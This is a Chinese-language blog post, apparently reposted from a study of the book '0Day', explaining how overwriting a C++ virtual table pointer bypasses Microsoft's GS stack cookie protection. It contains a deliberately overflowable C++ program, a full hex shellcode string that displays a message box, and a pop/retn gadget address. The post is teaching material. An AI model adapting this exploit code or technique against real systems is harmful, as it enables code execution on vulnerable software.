《0Day》之通过覆盖虚表指针来突破GS
對于棧溢出,微軟做了GS防護,就是在函數棧幀初始化之后,生成一個隨機的cookie,將其保存在EBP之前,同時在.data中也保存一份,在函數返回之前,先檢測棧中cookie的值,如果我們還用之前棧溢出的方式,通過shellcode覆蓋函數返回地址來達到溢出的目的,這時必然會覆蓋掉棧中的cookie,這樣的溢出就會被檢測到,也就無法達到溢出的目的。但是正所謂你有張良計,我有過墻梯,GS的檢測要在函數返回之前才進行,如果在還沒到檢測之前就實現溢出,那GS不就也只能干看著了嗎。要實現在GS檢測之前就實現溢出,還是有幾種方案的,《0Day》中就提到了通過覆蓋虛表指針和異常的方式來實現,這里先說覆蓋虛表指針的方式。
在C++中,虛表指針是個一維數組,位于類對象指針之前,也就是說,虛表指針 = 類對象指針 - 4。為了研究虛表指針的溢出,我們需要對它的內存布局有一定的了解,先通過一個小程序來分析它的內存布局。代碼如下
#include "stdafx.h" #include <string.h>class GSVirtual { public:void gsv(char *src) {char buf[200];strcpy(buf, src);vir();}virtual void vir() {} };int main() {GSVirtual test;test.gsv("\xB3\x1C\x92\x7C\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1" "\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E""\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33""\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2""\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C""\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38""\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B""\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03""\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1""\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24""\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B""\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB""\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E""\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74""\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x38\x1a\x41");return 0; }上面這段也是《0Day》中的代碼,我們把它編程一個release版,然后放到OD中去分析。如下圖
我們再來看ecx指向的棧布局,如下圖
可以看到,虛表指針位于函數參數之下,我們可以通過在棧中覆蓋一大段shellcode的方式來把虛表指針給覆蓋掉,這樣就可以實現溢出了。可能有的人會不理解,覆蓋掉虛表指針,那豈不是連函數返回地址都覆蓋了,不是說有GS檢測么?雖然覆蓋了函數地址,但是在調用虛函數的時候,這個函數還沒返回,也就是說還沒到GS檢測的地方,我們就已經溢出去執行shellcode了。
至于覆蓋的方式,我們可以通過覆蓋虛表指針,讓其變成指向函數參數的shellcode,但是這里面臨著一個問題,就是這里有一個call操作,我們需要在這個call之后,還能跳轉到shellcode中去執行,而且這里又不適用jmp esp這樣的指令,因為我們原始的參數不在棧中,是無法通過jmp esp跳轉過去的。不過我們可以跳轉到之前復制到內存中的shellcode去,我們通過觀察棧可以看到,當前esp指向的正是我們復制到內存中的shellcode的地址。如圖
既然call會執行一個push指令,那我們是不是可以通過pop指令來實現讓esp指向shellcode地址,然后通過retn指令把shellcode地址彈到eip,這樣,就可以實現跳轉了。通過在模塊中找到一組pop retn的指令序列,把它的地址寫入shellcode開始的地方,這里找的是0x7c921cb3,這樣當執行虛函數時,call的是0x7c921cb3這個地址,然后里面執行了一個pop指令,讓esp指向shellcode地址,然后通過retn就可以跳轉到shellcode中去執行了。
總結
以上是生活随笔為你收集整理的《0Day》之通过覆盖虚表指针来突破GS的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Tian Ji -- The Horse
- 下一篇: 开机出现Oxc000000e故障的解决方